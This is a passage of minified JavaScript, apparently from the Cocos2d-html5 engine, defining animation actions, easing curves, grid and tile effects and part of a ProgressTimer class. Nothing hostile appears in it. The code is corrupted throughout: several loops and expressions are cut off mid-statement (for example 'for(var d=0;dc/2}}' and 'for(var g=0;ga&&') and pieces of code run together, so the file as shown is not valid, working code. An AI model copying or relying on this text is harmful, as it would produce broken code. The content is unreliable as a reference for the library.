b.xu(a,c,d,e,f)};b.pM=function(a,c,d,e){return 0*Math.pow(1-e,3)+3*e*Math.pow(1-e,2)*a+3*Math.pow(e,2)*(1-e)*c+Math.pow(e,3)*d}; b.Qj=b.u.extend({Jf:null,Fc:null,Qc:null,ctor:function(a,c){b.u.prototype.ctor.call(this);this.Jf=[];this.Fc=N(0,0);this.Qc=N(0,0);c&&this.d(a,c)},d:function(a,c){return b.u.prototype.d.call(this,a)?(this.Jf=c,!0):!1},j:function(){var a=new b.Qj;this.ya(a);for(var c=[],d=0;dc/2}},v:function(a){b.u.prototype.v.call(this,a);this.WK=a.visible},stop:function(){this.target.visible=this.WK;b.u.prototype.stop.call(this)},reverse:function(){var a= b.Up.create(this.m,this.ec);this.ya(a);this.le(a);return a}});b.Up.create=function(a,c){var d=new b.Up;d.d(a,c);return d}; b.Tj=b.u.extend({Ho:0,Mv:0,ctor:function(a,c){b.u.prototype.ctor.call(this);void 0!==c&&this.d(a,c)},d:function(a,c){return b.u.prototype.d.call(this,a)?(this.Ho=c,!0):!1},j:function(){var a=new b.Tj;this.ya(a);a.d(this.m,this.Ho);return a},update:function(a){a=this.hd(a);if(this.target.yb){var c=void 0!==this.Mv?this.Mv:255;this.target.opacity=c+(this.Ho-c)*a}},v:function(a){b.u.prototype.v.call(this,a);this.target.yb&&(this.Mv=a.opacity)}});b.Tj.create=function(a,c){return new b.Tj(a,c)}; b.ln=b.Tj.extend({TC:null,reverse:function(){var a=new b.tl;a.d(this.m,0);this.ya(a);this.le(a);return a},j:function(){var a=new b.ln;this.ya(a);a.d(this.m,this.Ho);return a},v:function(a){this.TC&&(this.Ho=this.TC.Mv);b.Tj.prototype.v.call(this,a)}});b.ln.create=function(a){return new b.ln(a,255)};b.tl=b.Tj.extend({reverse:function(){var a=new b.ln;a.TC=this;a.d(this.m,255);this.ya(a);this.le(a);return a},j:function(){var a=new b.tl;this.ya(a);a.d(this.m,this.Ho);return a}}); b.tl.create=function(a){var c=new b.tl;c.d(a,0);return c}; b.Su=b.u.extend({nd:null,Pc:null,ctor:function(a,c,d,e){b.u.prototype.ctor.call(this);this.nd=b.color(0,0,0);this.Pc=b.color(0,0,0);void 0!==e&&this.d(a,c,d,e)},d:function(a,c,d,e){return b.u.prototype.d.call(this,a)?(this.nd=b.color(c,d,e),!0):!1},j:function(){var a=new b.Su;this.ya(a);var c=this.nd;a.d(this.m,c.r,c.g,c.b);return a},v:function(a){b.u.prototype.v.call(this,a);this.target.yb&&(this.Pc=this.target.color)},update:function(a){a=this.hd(a);var c=this.Pc,d=this.nd;c&&this.target.yb&&(this.target.color= b.color(c.r+(d.r-c.r)*a,c.g+(d.g-c.g)*a,c.b+(d.b-c.b)*a))}});b.Su.create=function(a,c,d,e){return new b.Su(a,c,d,e)}; b.Nq=b.u.extend({xv:0,wv:0,vv:0,iK:0,hK:0,gK:0,ctor:function(a,c,d,e){b.u.prototype.ctor.call(this);void 0!==e&&this.d(a,c,d,e)},d:function(a,c,d,e){return b.u.prototype.d.call(this,a)?(this.xv=c,this.wv=d,this.vv=e,!0):!1},j:function(){var a=new b.Nq;this.ya(a);a.d(this.m,this.xv,this.wv,this.vv);return a},v:function(a){b.u.prototype.v.call(this,a);a.yb&&(a=a.color,this.iK=a.r,this.hK=a.g,this.gK=a.b)},update:function(a){a=this.hd(a);this.target.yb&&(this.target.color=b.color(this.iK+this.xv*a,this.hK+ this.wv*a,this.gK+this.vv*a))},reverse:function(){var a=b.Nq.create(this.m,-this.xv,-this.wv,-this.vv);this.ya(a);this.le(a);return a}});b.Nq.create=function(a,c,d,e){return new b.Nq(a,c,d,e)};b.pc=b.u.extend({update:function(){},reverse:function(){var a=b.pc.create(this.m);this.ya(a);this.le(a);return a},j:function(){var a=new b.pc;this.ya(a);a.d(this.m);return a}});b.pc.create=function(a){return new b.pc(a)}; b.Cl=b.u.extend({jj:null,ctor:function(a){b.u.prototype.ctor.call(this);this.jj=null;a&&this.aa(a)},aa:function(a){if(!a)throw"cc.ReverseTime.initWithAction(): action must be non null";if(a==this.jj)throw"cc.ReverseTime.initWithAction(): the action was already passed in.";return b.u.prototype.d.call(this,a.m)?(this.jj=a,!0):!1},j:function(){var a=new b.Cl;this.ya(a);a.aa(this.jj.j());return a},v:function(a){b.u.prototype.v.call(this,a);this.jj.v(a)},update:function(a){a=this.hd(a);this.jj&&this.jj.update(1- a)},reverse:function(){return this.jj.j()},stop:function(){this.jj.stop();b.fd.prototype.stop.call(this)}});b.Cl.create=function(a){return new b.Cl(a)}; b.ah=b.u.extend({lk:null,Qr:0,oC:null,Gv:0,qD:null,ctor:function(a){b.u.prototype.ctor.call(this);this.qD=[];a&&this.LN(a)},ZM:function(){return this.lk},c3:function(a){this.lk=a},LN:function(a){if(!a)throw"cc.Animate.initWithAnimation(): animation must be non-NULL";var c=a.dp();if(this.d(c*a.gj)){this.Qr=0;this.c3(a);this.oC=null;this.Gv=0;var d=this.qD,e=d.length=0,f=c/a.vi;a=a.Td;b.Mo(a,b.qg);for(var g=0;ga&&(a*=this.lk.gj,(0|a)>this.Gv&&(this.Qr=0,this.Gv++),a%=1);for(var c=this.lk.Td,d=c.length,e=this.qD,f=this.Qr;fa?Math.PI-Math.asin(e/f):Math.asin(e/f)}},v:function(a){b.u.prototype.v.call(this,a);a=this.h4();isNaN(this.Ie)&&(this.Ie=a.Y1);isNaN(this.Zq)&&(this.Zq=b.SF(a.X4));isNaN(this.gh)&&(this.gh=b.SF(a.azimuth));this.hL=b.$f(this.Zq);this.gL=b.$f(this.gh)},j:function(){var a=new b.be;a.d(this.m,this.Ie,this.lB,this.Zq,this.oJ,this.gh,this.nJ);return a},update:function(a){a=this.hd(a);var c=(this.Ie+this.lB*a)*b.Wp.Xs(), d=this.hL+this.fL*a,e=this.gL+this.eL*a;a=Math.sin(d)*Math.cos(e)*c+this.cB;e=Math.sin(d)*Math.sin(e)*c+this.dB;c=Math.cos(d)*c+this.eB;this.target.Km().fP(a,e,c)}});b.be.create=function(a,c,d,e,f,g,h){return new b.be(a,c,d,e,f,g,h)};b.Ra=b.u.extend({p:null,ctor:function(a){b.u.prototype.ctor.call(this);a&&this.aa(a)},aa:function(a){if(!a)throw"cc.ActionEase.initWithAction(): action must be non nil";return this.d(a.dp())?(this.p=a,!0):!1},j:function(){var a=new b.Ra;a.aa(this.p.j());return a},v:function(a){b.u.prototype.v.call(this,a);this.p.v(this.target)},stop:function(){this.p.stop();b.u.prototype.stop.call(this)},update:function(a){this.p.update(a)},reverse:function(){return b.Ra.create(this.p.reverse())},RE:function(){return this.p}}); b.Ra.create=function(a){return new b.Ra(a)};b.sl=b.Ra.extend({bc:0,ctor:function(a,c){b.Ra.prototype.ctor.call(this);void 0!==c&&this.aa(a,c)},Kia:function(a){this.bc=a},Nba:function(){return this.bc},aa:function(a,c){return b.Ra.prototype.aa.call(this,a)?(this.bc=c,!0):!1},j:function(){var a=new b.sl;a.aa(this.p.j(),this.bc);return a},reverse:function(){return b.sl.create(this.p.reverse(),1/this.bc)}});b.sl.create=function(a,c){return new b.sl(a,c)}; b.pu=b.sl.extend({update:function(a){this.p.update(Math.pow(a,this.bc))},reverse:function(){return b.pu.create(this.p.reverse(),1/this.bc)},j:function(){var a=new b.pu;a.aa(this.p.j(),this.bc);return a}});b.pu.create=function(a,c){return new b.pu(a,c)};b.b_=function(a){return{bc:a,Ka:function(a){return Math.pow(a,this.bc)},reverse:function(){return b.b_(1/this.bc)}}}; b.rl=b.sl.extend({update:function(a){this.p.update(Math.pow(a,1/this.bc))},reverse:function(){return b.rl.create(this.p.reverse(),1/this.bc)},j:function(){var a=new b.rl;a.aa(this.p.j(),this.bc);return a}});b.rl.create=function(a,c){return new b.rl(a,c)};b.d_=function(a){return{bc:a,Ka:function(a){return Math.pow(a,1/this.bc)},reverse:function(){return b.d_(1/this.bc)}}}; b.fq=b.sl.extend({update:function(a){a*=2;1>a?this.p.update(0.5*Math.pow(a,this.bc)):this.p.update(1-0.5*Math.pow(2-a,this.bc))},j:function(){var a=new b.fq;a.aa(this.p.j(),this.bc);return a},reverse:function(){return b.fq.create(this.p.reverse(),this.bc)}});b.fq.create=function(a,c){return new b.fq(a,c)};b.c_=function(a){return{bc:a,Ka:function(a){a*=2;return 1>a?0.5*Math.pow(a,this.bc):1-0.5*Math.pow(2-a,this.bc)},reverse:function(){return b.c_(this.bc)}}}; b.mu=b.Ra.extend({update:function(a){this.p.update(0===a?0:Math.pow(2,10*(a-1)))},reverse:function(){return b.ou.create(this.p.reverse())},j:function(){var a=new b.mu;a.aa(this.p.j());return a}});b.mu.create=function(a){return new b.mu(a)};b.JJ={Ka:function(a){return 0===a?0:Math.pow(2,10*(a-1))},reverse:function(){return b.LJ}};b.g$=function(){return b.JJ}; b.ou=b.Ra.extend({update:function(a){this.p.update(1==a?1:-Math.pow(2,-10*a)+1)},reverse:function(){return b.mu.create(this.p.reverse())},j:function(){var a=new b.ou;a.aa(this.p.j());return a}});b.ou.create=function(a){return new b.ou(a)};b.LJ={Ka:function(a){return 1==a?1:-Math.pow(2,-10*a)+1},reverse:function(){return b.JJ}};b.a_=function(){return b.LJ}; b.nu=b.Ra.extend({update:function(a){1!=a&&0!==a&&(a*=2,a=1>a?0.5*Math.pow(2,10*(a-1)):0.5*(-Math.pow(2,-10*(a-1))+2));this.p.update(a)},reverse:function(){return b.nu.create(this.p.reverse())},j:function(){var a=new b.nu;a.aa(this.p.j());return a}});b.nu.create=function(a){return new b.nu(a)};b.KJ={Ka:function(a){return 1!==a&&0!==a?(a*=2,1>a?0.5*Math.pow(2,10*(a-1)):0.5*(-Math.pow(2,-10*(a-1))+2)):a},reverse:function(){return b.KJ}};b.h$=function(){return b.KJ}; b.qu=b.Ra.extend({update:function(a){a=0===a||1===a?a:-1*Math.cos(a*Math.PI/2)+1;this.p.update(a)},reverse:function(){return b.su.create(this.p.reverse())},j:function(){var a=new b.qu;a.aa(this.p.j());return a}});b.qu.create=function(a){return new b.qu(a)};b.VJ={Ka:function(a){return 0===a||1===a?a:-1*Math.cos(a*Math.PI/2)+1},reverse:function(){return b.XJ}};b.r$=function(){return b.VJ}; b.su=b.Ra.extend({update:function(a){a=0===a||1===a?a:Math.sin(a*Math.PI/2);this.p.update(a)},reverse:function(){return b.qu.create(this.p.reverse())},j:function(){var a=new b.su;a.aa(this.p.j());return a}});b.su.create=function(a){return new b.su(a)};b.XJ={Ka:function(a){return 0===a||1==a?a:Math.sin(a*Math.PI/2)},reverse:function(){return b.VJ}};b.s$=function(){return b.XJ}; b.ru=b.Ra.extend({update:function(a){a=0===a||1===a?a:-0.5*(Math.cos(Math.PI*a)-1);this.p.update(a)},j:function(){var a=new b.ru;a.aa(this.p.j());return a},reverse:function(){return b.ru.create(this.p.reverse())}});b.ru.create=function(a){return new b.ru(a)};b.WJ={Ka:function(a){return 0===a||1===a?a:-0.5*(Math.cos(Math.PI*a)-1)},reverse:function(){return b.WJ}};b.e_=function(){return b.WJ}; b.hn=b.Ra.extend({Fb:0.3,ctor:function(a,c){b.Ra.prototype.ctor.call(this);a&&this.aa(a,c)},Eba:function(){return this.Fb},Gia:function(a){this.Fb=a},aa:function(a,c){b.Ra.prototype.aa.call(this,a);this.Fb=null==c?0.3:c;return!0},reverse:function(){b.log("cc.EaseElastic.reverse(): it should be overridden in subclass.");return null},j:function(){var a=new b.hn;a.aa(this.p.j(),this.Fb);return a}});b.hn.create=function(a,c){return new b.hn(a,c)}; b.ju=b.hn.extend({update:function(a){var c=0;0===a||1===a?c=a:(c=this.Fb/4,a-=1,c=-Math.pow(2,10*a)*Math.sin((a-c)*Math.PI*2/this.Fb));this.p.update(c)},reverse:function(){return b.lu.create(this.p.reverse(),this.Fb)},j:function(){var a=new b.ju;a.aa(this.p.j(),this.Fb);return a}});b.ju.create=function(a,c){return new b.ju(a,c)};b.HJ={Ka:function(a){if(0===a||1===a)return a;a-=1;return-Math.pow(2,10*a)*Math.sin((a-0.075)*Math.PI*2/0.3)},reverse:function(){return b.IJ}}; b.YZ=function(a){return a&&0.3!==a?{Fb:a,Ka:function(a){if(0===a||1===a)return a;a-=1;return-Math.pow(2,10*a)*Math.sin((a-this.Fb/4)*Math.PI*2/this.Fb)},reverse:function(){return b.$Z(this.Fb)}}:b.HJ};b.lu=b.hn.extend({update:function(a){var c=0,c=0===a||1==a?a:Math.pow(2,-10*a)*Math.sin((a-this.Fb/4)*Math.PI*2/this.Fb)+1;this.p.update(c)},reverse:function(){return b.ju.create(this.p.reverse(),this.Fb)},j:function(){var a=new b.lu;a.aa(this.p.j(),this.Fb);return a}}); b.lu.create=function(a,c){return new b.lu(a,c)};b.IJ={Ka:function(a){return 0===a||1===a?a:Math.pow(2,-10*a)*Math.sin((a-0.075)*Math.PI*2/0.3)+1},reverse:function(){return b.HJ}};b.$Z=function(a){return a&&0.3!==a?{Fb:a,Ka:function(a){return 0===a||1===a?a:Math.pow(2,-10*a)*Math.sin((a-this.Fb/4)*Math.PI*2/this.Fb)+1},reverse:function(){return b.YZ(this.Fb)}}:b.IJ}; b.ku=b.hn.extend({update:function(a){var c=0,c=this.Fb;if(0===a||1==a)c=a;else{c||(c=this.Fb=0.3*1.5);var d=c/4;a=2*a-1;c=0>a?-0.5*Math.pow(2,10*a)*Math.sin((a-d)*Math.PI*2/c):Math.pow(2,-10*a)*Math.sin((a-d)*Math.PI*2/c)*0.5+1}this.p.update(c)},reverse:function(){return b.ku.create(this.p.reverse(),this.Fb)},j:function(){var a=new b.ku;a.aa(this.p.j(),this.Fb);return a}});b.ku.create=function(a,c){return new b.ku(a,c)}; b.ZZ=function(a){return{Fb:a||0.3,Ka:function(a){var d=0,d=this.Fb;if(0===a||1===a)d=a;else{d||(d=this.Fb=0.3*1.5);var e=d/4;a=2*a-1;d=0>a?-0.5*Math.pow(2,10*a)*Math.sin((a-e)*Math.PI*2/d):Math.pow(2,-10*a)*Math.sin((a-e)*Math.PI*2/d)*0.5+1}return d},reverse:function(){return b.ZZ(this.Fb)}}}; b.ql=b.Ra.extend({ax:function(a){if(a<1/2.75)return 7.5625*a*a;if(a<2/2.75)return a-=1.5/2.75,7.5625*a*a+0.75;if(a<2.5/2.75)return a-=2.25/2.75,7.5625*a*a+0.9375;a-=2.625/2.75;return 7.5625*a*a+0.984375},j:function(){var a=new b.ql;a.aa(this.p.j());return a},reverse:function(){return b.ql.create(this.p.reverse())}});b.ql.create=function(a){return new b.ql(a)}; b.gu=b.ql.extend({update:function(a){this.p.update(1-this.ax(1-a))},reverse:function(){return b.iu.create(this.p.reverse())},j:function(){var a=new b.gu;a.aa(this.p.j());return a}});b.gu.create=function(a){return new b.gu(a)};b.iv=function(a){if(a<1/2.75)return 7.5625*a*a;if(a<2/2.75)return a-=1.5/2.75,7.5625*a*a+0.75;if(a<2.5/2.75)return a-=2.25/2.75,7.5625*a*a+0.9375;a-=2.625/2.75;return 7.5625*a*a+0.984375};b.yJ={Ka:function(a){return 1-b.iv(1-a)},reverse:function(){return b.AJ}};b.X9=function(){return b.yJ}; b.iu=b.ql.extend({update:function(a){this.p.update(this.ax(a))},reverse:function(){return b.gu.create(this.p.reverse())},j:function(){var a=new b.iu;a.aa(this.p.j());return a}});b.iu.create=function(a){return new b.iu(a)};b.AJ={Ka:function(a){return b.iv(a)},reverse:function(){return b.yJ}};b.Z9=function(){return b.AJ};b.hu=b.ql.extend({update:function(a){var c=0,c=0.5>a?0.5*(1-this.ax(1-2*a)):0.5*this.ax(2*a-1)+0.5;this.p.update(c)},j:function(){var a=new b.hu;a.aa(this.p.j());return a},reverse:function(){return b.hu.create(this.p.reverse())}}); b.hu.create=function(a){return new b.hu(a)};b.zJ={Ka:function(a){return a=0.5>a?0.5*(1-b.iv(1-2*a)):0.5*b.iv(2*a-1)+0.5},reverse:function(){return b.zJ}};b.Y9=function(){return b.zJ};b.du=b.Ra.extend({update:function(a){this.p.update(0===a||1==a?a:a*a*(2.70158*a-1.70158))},reverse:function(){return b.fu.create(this.p.reverse())},j:function(){var a=new b.du;a.aa(this.p.j());return a}});b.du.create=function(a){return new b.du(a)};b.vJ={Ka:function(a){return 0===a||1===a?a:a*a*(2.70158*a-1.70158)},reverse:function(){return b.xJ}}; b.U9=function(){return b.vJ};b.fu=b.Ra.extend({update:function(a){a-=1;this.p.update(a*a*(2.70158*a+1.70158)+1)},reverse:function(){return b.du.create(this.p.reverse())},j:function(){var a=new b.fu;a.aa(this.p.j());return a}});b.fu.create=function(a){return new b.fu(a)};b.xJ={Ka:function(a){a-=1;return a*a*(2.70158*a+1.70158)+1},reverse:function(){return b.vJ}};b.W9=function(){return b.xJ}; b.eu=b.Ra.extend({update:function(a){a*=2;1>a?this.p.update(a*a*(3.5949095*a-2.5949095)/2):(a-=2,this.p.update(a*a*(3.5949095*a+2.5949095)/2+1))},j:function(){var a=new b.eu;a.aa(this.p.j());return a},reverse:function(){return b.eu.create(this.p.reverse())}});b.eu.create=function(a){return new b.eu(a)};b.wJ={Ka:function(a){a*=2;if(1>a)return a*a*(3.5949095*a-2.5949095)/2;a-=2;return a*a*(3.5949095*a+2.5949095)/2+1},reverse:function(){return b.wJ}};b.V9=function(){return b.wJ}; b.Zp=b.Ra.extend({hw:null,iw:null,jw:null,kw:null,ctor:function(a){b.Ra.prototype.ctor.call(this,a)},oa:function(a,c,d,e,f){return Math.pow(1-f,3)*a+3*f*Math.pow(1-f,2)*c+3*Math.pow(f,2)*(1-f)*d+Math.pow(f,3)*e},update:function(a){this.p.update(this.oa(this.hw,this.iw,this.jw,this.kw,a))},j:function(){var a=new b.Zp;a.aa(this.p.j());a.$O(this.hw,this.iw,this.jw,this.kw);return a},reverse:function(){var a=b.Zp.create(this.p.reverse());a.$O(this.kw,this.jw,this.iw,this.hw);return a},$O:function(a,c, d,e){this.hw=a||0;this.iw=c||0;this.jw=d||0;this.kw=e||0}});b.Zp.create=function(a){return new b.Zp(a)};b.XZ=function(a,c,d,e){return{Ka:function(f){return b.Zp.prototype.oa(a,c,d,e,f)},reverse:function(){return b.XZ(e,d,c,a)}}};b.gq=b.Ra.extend({oa:function(a){return Math.pow(a,2)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.gq;a.aa(this.p.j());return a},reverse:function(){return b.gq.create(this.p.reverse())}});b.gq.create=function(a){return new b.gq(a)}; b.MJ={Ka:b.gq.prototype.oa,reverse:function(){return b.MJ}};b.i$=function(){return b.MJ};b.iq=b.Ra.extend({oa:function(a){return-a*(a-2)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.iq;a.aa();return a},reverse:function(){return b.iq.create(this.p.reverse())}});b.iq.create=function(a){return new b.iq(a)};b.OJ={Ka:b.iq.prototype.oa,reverse:function(){return b.OJ}};b.k$=function(){return b.OJ}; b.hq=b.Ra.extend({oa:function(a){var c=a;a*=2;1>a?c=a*a*0.5:(--a,c=-0.5*(a*(a-2)-1));return c},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.hq;a.aa(this.p.j());return a},reverse:function(){return b.hq.create(this.p.reverse())}});b.hq.create=function(a){return new b.hq(a)};b.NJ={Ka:b.hq.prototype.oa,reverse:function(){return b.NJ}};b.j$=function(){return b.NJ}; b.jq=b.Ra.extend({oa:function(a){return a*a*a*a},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.jq;a.aa(this.p.j());return a},reverse:function(){return b.jq.create(this.p.reverse())}});b.jq.create=function(a){return new b.jq(a)};b.PJ={Ka:b.jq.prototype.oa,reverse:function(){return b.PJ}};b.l$=function(){return b.PJ}; b.lq=b.Ra.extend({oa:function(a){a-=1;return-(a*a*a*a-1)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.lq;a.aa(this.p.j());return a},reverse:function(){return b.lq.create(this.p.reverse())}});b.lq.create=function(a){return new b.lq(a)};b.RJ={Ka:b.lq.prototype.oa,reverse:function(){return b.RJ}};b.n$=function(){return b.RJ}; b.kq=b.Ra.extend({oa:function(a){a*=2;if(1>a)return 0.5*a*a*a*a;a-=2;return-0.5*(a*a*a*a-2)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.kq;a.aa(this.p.j());return a},reverse:function(){return b.kq.create(this.p.reverse())}});b.kq.create=function(a){return new b.kq(a)};b.QJ={Ka:b.kq.prototype.oa,reverse:function(){return b.QJ}};b.m$=function(){return b.QJ}; b.mq=b.Ra.extend({oa:function(a){return a*a*a*a*a},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.mq;a.aa(this.p.j());return a},reverse:function(){return b.mq.create(this.p.reverse())}});b.mq.create=function(a){return new b.mq(a)};b.SJ={Ka:b.mq.prototype.oa,reverse:function(){return b.SJ}};b.o$=function(){return b.SJ}; b.oq=b.Ra.extend({oa:function(a){a-=1;return a*a*a*a*a+1},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.oq;a.aa(this.p.j());return a},reverse:function(){return b.oq.create(this.p.reverse())}});b.oq.create=function(a){return new b.oq(a)};b.UJ={Ka:b.oq.prototype.oa,reverse:function(){return b.UJ}};b.q$=function(){return b.UJ}; b.nq=b.Ra.extend({oa:function(a){a*=2;if(1>a)return 0.5*a*a*a*a*a;a-=2;return 0.5*(a*a*a*a*a+2)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.nq;a.aa(this.p.j());return a},reverse:function(){return b.nq.create(this.p.reverse())}});b.nq.create=function(a){return new b.nq(a)};b.TJ={Ka:b.nq.prototype.oa,reverse:function(){return b.TJ}};b.p$=function(){return b.TJ}; b.$p=b.Ra.extend({oa:function(a){return-1*(Math.sqrt(1-a*a)-1)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.$p;a.aa(this.p.j());return a},reverse:function(){return b.$p.create(this.p.reverse())}});b.$p.create=function(a){return new b.$p(a)};b.BJ={Ka:b.$p.prototype.oa,reverse:function(){return b.BJ}};b.a$=function(){return b.BJ}; b.bq=b.Ra.extend({oa:function(a){a-=1;return Math.sqrt(1-a*a)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.bq;a.aa(this.p.j());return a},reverse:function(){return b.bq.create(this.p.reverse())}});b.bq.create=function(a){return new b.bq(a)};b.DJ={Ka:b.bq.prototype.oa,reverse:function(){return b.DJ}};b.c$=function(){return b.DJ}; b.aq=b.Ra.extend({oa:function(a){a*=2;if(1>a)return-0.5*(Math.sqrt(1-a*a)-1);a-=2;return 0.5*(Math.sqrt(1-a*a)+1)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.aq;a.aa(this.p.j());return a},reverse:function(){return b.aq.create(this.p.reverse())}});b.aq.create=function(a){return new b.aq(a)};b.CJ={Ka:b.aq.prototype.oa,reverse:function(){return b.CJ}};b.b$=function(){return b.CJ}; b.cq=b.Ra.extend({oa:function(a){return a*a*a},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.cq;a.aa(this.p.j());return a},reverse:function(){return b.cq.create(this.p.reverse())}});b.cq.create=function(a){return new b.cq(a)};b.EJ={Ka:b.cq.prototype.oa,reverse:function(){return b.EJ}};b.d$=function(){return b.EJ};b.eq=b.Ra.extend({oa:function(a){a-=1;return a*a*a+1},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.eq;a.aa(this.p.j());return a},reverse:function(){return b.eq.create(this.p.reverse())}}); b.eq.create=function(a){return new b.eq(a)};b.GJ={Ka:b.eq.prototype.oa,reverse:function(){return b.GJ}};b.f$=function(){return b.GJ};b.dq=b.Ra.extend({oa:function(a){a*=2;if(1>a)return 0.5*a*a*a;a-=2;return 0.5*(a*a*a+2)},update:function(a){this.p.update(this.oa(a))},j:function(){var a=new b.dq;a.aa(this.p.j());return a},reverse:function(){return b.dq.create(this.p.reverse())}});b.dq.create=function(a){return new b.dq(a)};b.FJ={Ka:b.dq.prototype.oa,reverse:function(){return b.FJ}};b.e$=function(){return b.FJ};b.pE=function(a,c,d,e,f,g){var h=g*g,k=h*g,m=(1-f)/2;f=m*(-k+2*h-g);var p=m*(-k+h)+(2*k-3*h+1);g=m*(k-2*h+g)+(-2*k+3*h);h=m*(k-h);return N(a.x*f+c.x*p+d.x*g+e.x*h,a.y*f+c.y*p+d.y*g+e.y*h)};b.TO=function(a){for(var c=[],d=a.length-1;0<=d;d--)c.push(N(a[d].x,a[d].y));return c};b.gx=function(a){for(var c=[],d=0;dh?(f=N(0,0),e=N(0,1),k=N(1,0),m=N(1,1)):(k=N(0, 0),m=N(0,1),f=N(1,0),e=N(1,1),g=h);c.x=g-g*d;c.z=Math.abs(parseFloat(g*a/4));a=this.Kc(f);a.x=c.x;a.z+=c.z;this.Kd(f,a);a=this.Kc(e);a.x=c.x;a.z+=c.z;this.Kd(e,a);a=this.Kc(k);a.x-=c.x;a.z-=c.z;this.Kd(k,a);a=this.Kc(m);a.x-=c.x;a.z-=c.z;this.Kd(m,a)}});b.mz.create=function(a){return new b.mz(a)}; b.dH=b.mz.extend({ctor:function(a){void 0!==a?b.ic.prototype.ctor.call(this,a,O(1,1)):b.ic.prototype.ctor.call(this)},update:function(a){var c=Math.PI*a;a=Math.sin(c);var d=Math.cos(c/2),c=new b.tc,e=N(0,0);e.x=e.y=1;var f=this.Kc(e);e.x=e.y=0;var e=this.Kc(e),g=f.y,h=e.y,k,m;g>h?(f=N(0,0),e=N(0,1),k=N(1,0),m=N(1,1)):(e=N(0,0),f=N(0,1),m=N(1,0),k=N(1,1),g=h);c.y=g-g*d;c.z=Math.abs(parseFloat(g*a)/4);a=this.Kc(f);a.y=c.y;a.z+=c.z;this.Kd(f,a);a=this.Kc(e);a.y-=c.y;a.z-=c.z;this.Kd(e,a);a=this.Kc(k); a.y=c.y;a.z+=c.z;this.Kd(k,a);a=this.Kc(m);a.y-=c.y;a.z-=c.z;this.Kd(m,a)}});b.dH.create=function(a){return new b.dH(a)}; b.jH=b.Uc.extend({za:null,Ie:0,Zv:0,mV:!1,lb:!1,ctor:function(a,c,d,e){b.ic.prototype.ctor.call(this);this.za=N(0,0);void 0!==e&&this.d(a,c,d,e)},dba:function(){return this.Zv},lia:function(a){this.Zv=a},Kha:function(a){this.mV=a},px:function(){return this.za},P:function(a){b.QF(a,this.za)||(this.za.x=a.x,this.za.y=a.y,this.lb=!0)},d:function(a,c,d,e){return b.Uc.prototype.d.call(this,a,c)?(this.P(d),this.Ie=e,this.Zv=0.7,this.lb=!0):!1},update:function(){if(this.lb){for(var a=this.Y.width,c=this.Y.height, d=this.Ie,e=this.Zv,f=N(0,0),g=N(0,0),h,k,m,p=0;pf?this.OP(d,f):this.FG(d)}});b.pq.create=function(a,c){return new b.pq(a,c)};b.kz=b.pq.extend({My:function(a,c){return 0==a.width+a.height?1:Math.pow((this.Y.width*(1-c)+this.Y.height*(1-c))/(a.width+a.height),6)}});b.kz.create=function(a,c){return new b.kz(a,c)}; b.vu=b.pq.extend({My:function(a,c){var d=this.Y.height*c;return 0==d?1:Math.pow(a.height/d,6)},OP:function(a,c){var d=this.eg(a),e=this.target.grid.WE();d.F.y+=e.y/2*(1-c);d.M.y+=e.y/2*(1-c);d.L.y-=e.y/2*(1-c);d.J.y-=e.y/2*(1-c);this.$e(a,d)}});b.vu.create=function(a,c){return new b.vu(a,c)};b.lz=b.vu.extend({My:function(a,c){return 0==a.height?1:Math.pow(this.Y.height*(1-c)/a.height,6)}});b.lz.create=function(a,c){return new b.lz(a,c)}; b.qA=b.sc.extend({WC:null,wj:0,ui:null,ctor:function(a,c,d){b.ic.prototype.ctor.call(this);this.ui=[];void 0!==c&&this.d(a,c,d)},d:function(a,c,d){return b.sc.prototype.d.call(this,a,c)?(this.WC=d||0,this.ui.length=0,!0):!1},xG:function(a,c){for(var d=c-1;0<=d;d--){var e=0|b.Bb()%(d+1),f=a[d];a[d]=a[e];a[e]=f}},FG:function(a){this.$e(a,this.eg(a))},EG:function(a){this.$e(a,new b.Du)},v:function(a){b.sc.prototype.v.call(this,a);this.wj=this.Y.width*this.Y.height;a=this.ui;for(var c=a.length=0;ck.z&&(k.z=0.5);this.Kd(f,k)}}});b.Bu.create=function(a,c){return new b.Bu(a,c)};b.Ya=b.ia.extend({mc:null,mi:0,dc:null,ph:null,Kl:null,Dd:!1,ub:"ProgressTimer",d0:function(){return N(this.ph.x,this.ph.y)},A3:function(a){this.ph=b.vO(a)},w_:function(){return N(this.Kl.x,this.Kl.y)},e3:function(a){this.Kl=b.vO(a)},$E:function(){return this.mc},h0:function(){return this.mi},wN:function(){return this.dc},E3:function(a){this.mi!=a&&(this.mi=b.Sc(a,0,100),this.ND())},Jd:function(){},ue:function(){return!1},j1:function(){return this.Dd},YA:function(a){if(a>7-(a<<1)&1,c>>7-((a<<1)+1)&1):N(c>>(a<<1)+1&1,c>>(a<<1)&1)}return N(0,0)},gw:null,xD:270,tB:270,Ie:0,jB:!1,TA:null,od:0,yc:null,sf:null,UD:null,xs:!1,ctor:null,hr:function(){b.ia.prototype.ctor.call(this);this.mc=b.Ya.Xh;this.mi=0;this.ph=N(0,0);this.Kl=N(0,0);this.Dd=!1;this.dc=null;this.gw=N(0,0);this.tB=this.xD=270;this.Ie=0;this.jB=!1;this.TA=Q(0,0,0,0)},ir:function(){b.ia.prototype.ctor.call(this);this.mc=b.Ya.Xh;this.mi=0;this.ph=N(0,0);this.Kl=N(0,0);this.Dd=!1;this.dc=null;this.UD=b.k.createBuffer(); this.od=0;this.sf=this.yc=null;this.xs=!1},La:function(a){this.dc.color=a;this.fc()},Ba:function(a){this.dc.opacity=a;this.fc()},Re:function(){return this.dc.color},Se:function(){return 